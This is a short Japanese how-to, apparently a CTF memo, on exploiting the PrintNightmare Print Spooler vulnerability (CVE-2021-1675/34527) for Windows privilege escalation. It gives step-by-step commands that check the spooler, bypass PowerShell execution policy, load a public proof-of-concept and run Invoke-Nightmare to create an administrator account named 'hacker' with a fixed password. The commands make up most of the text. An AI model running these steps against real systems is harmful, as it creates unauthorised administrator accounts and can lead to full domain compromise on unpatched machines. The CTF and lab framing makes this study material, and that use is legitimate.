使いどころ
- Windows 環境でローカルの一般ユーザーから管理者へ昇格したいとき(CVE-2021-34527「PrintNightmare」)
脆弱性について
- Windows で印刷を受け持つサービス
Print Spooler(spoolsv.exe、SYSTEM で動く)に、一般ユーザーの権限で任意のプリンタードライバ(DLL)を入れられる脆弱性 - 入れた DLL は SYSTEM で読み込まれる。ドメインコントローラーで Print Spooler が動いていれば、ドメインの一般ユーザーからドメイン全体を取られる
CVE
| CVE | 中身 |
|---|---|
CVE-2021-1675 | 2021-06-08 に修正 最初はローカルの権限昇格とされ、06-21 にリモートコード実行へ訂正された |
CVE-2021-34527 | 2021-07-01 に公表 PrintNightmare と呼ばれる方(Microsoft は「似ているが別」としている) |
当たる範囲
- 当時の Microsoft は「すべての Windows が対象」としている。2021年7月の更新より前の Windows は、クライアントもサーバーも対象となる
手順
1. Print Spooler が起動していることを確認
以下のいずれかの方法で、Print Spooler の起動を確かめることが可能
PowerShell で確認する場合
PS C:\> ls \\localhost\pipe\spoolss
Directory: \\localhost\pipe
Mode LastWriteTime Length Name
---- ------------- ------ ----
spoolssCMD で確認する場合
C:\> sc query spooler
...SNIP...
STATE : 4 RUNNING2. PowerShell の実行ポリシーをバイパス
PowerShell で PoC を実行可能にするために行う
PS C:\> Set-ExecutionPolicy Bypass -Scope Process3. PoC を実行
PoC: https://github.com/calebstewart/CVE-2021-1675
PS C:\> Import-Module .\CVE-2021-1675.ps1
PS C:\> Invoke-Nightmare -NewUser "hacker" -NewPassword "Password123!" -DriverName "PrintIt"本コマンドを実行することで、管理者権限を持った「hacker」ユーザーが爆誕する
4. 管理者グループに所属していることを確認
PS C:\> net user hacker
...SNIP...
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.参考
おわりに
- CTF の問題として出題されたのが 2021年7月以降なのに、侵入した Windows マシンの最終アップデート日が 2021年7月より前だった場合、この脆弱性で権限昇格することを期待されていることが多い気がします(主観)